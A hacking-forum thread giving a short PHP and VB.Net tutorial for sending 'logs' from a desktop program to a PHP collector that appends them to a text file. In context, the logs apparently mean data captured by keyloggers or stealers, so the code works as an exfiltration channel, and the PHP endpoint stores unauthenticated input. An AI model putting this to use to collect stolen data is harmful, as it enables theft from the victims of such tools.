Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Send Logs To Web Host [VB.Net/PHP]

Today I'm bringing you a tutorial on how to send information to a web host using PHP and VB.Net.

First of all, copy the PHP code below, save it as post.php and upload it to your web host.

Code
<?php
$msg = $_GET['w'] . "\n";
$msg .= ' ' . "\n";
$msg .= '######################################################################' . "\n";
$msg .= ' ' . "\n";
$logfile= 'data.txt';
$fp = fopen($logfile, "a");
fwrite($fp, $msg);
fclose($fp);
?>

This code basically gets the information that was sent with the reference 'w' and adds a line of characters so you can easily distinguish between different logs.

It then saves the data to a new text file called data.txt in the same directory as the PHP file.

Now the VB.Net side, open a new project and add a richtextbox and a button.
You'll need to import system.net to the project, you can do this by adding this code above the class declaration.

Code
Imports System.Net

Next, double click the button to enter the button click function, and add this code (You'll need to change 'LINK' to your domain, obviously):

Code
Dim request As WebRequest = WebRequest.Create("http://LINK/post.php?w=" & RichTextBox1.Text)

request.GetResponse()

It's as simple as that! No more sending logs to email, etc.


Here's a picture of the compiled project and the output.

[Image: 5eDCWds.png]
Very simple and sweet tutorial..
good work buddy..
u know u can just
<? file_put_contents('data.txt', $_GET['w'], FILE_APPEND); ?>
(Mar 9, 2015 10:04 PM)Only3 Wrote:  u know u can just
<? file_put_contents('data.txt', $_GET['w'], FILE_APPEND); ?>
file_put_contents is a wrapper around fopen, etc anyway.
Skype: happy.cbb
0x38E6A0912657E


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by Lithium MindOct 11, 2020 04:46 AM 4 333 Oct 11, 2020 04:46 AM
Last Post: iaminitforthememes
[.NET] by madehaSep 6, 2020 06:24 PM 1 135 Sep 6, 2020 06:24 PM
Last Post: Accord
[.NET] by ๖ۣۜDødøskyJan 14, 2016 02:53 PM 5 174 Jan 14, 2016 02:53 PM
Last Post: ๖ۣۜDødøsky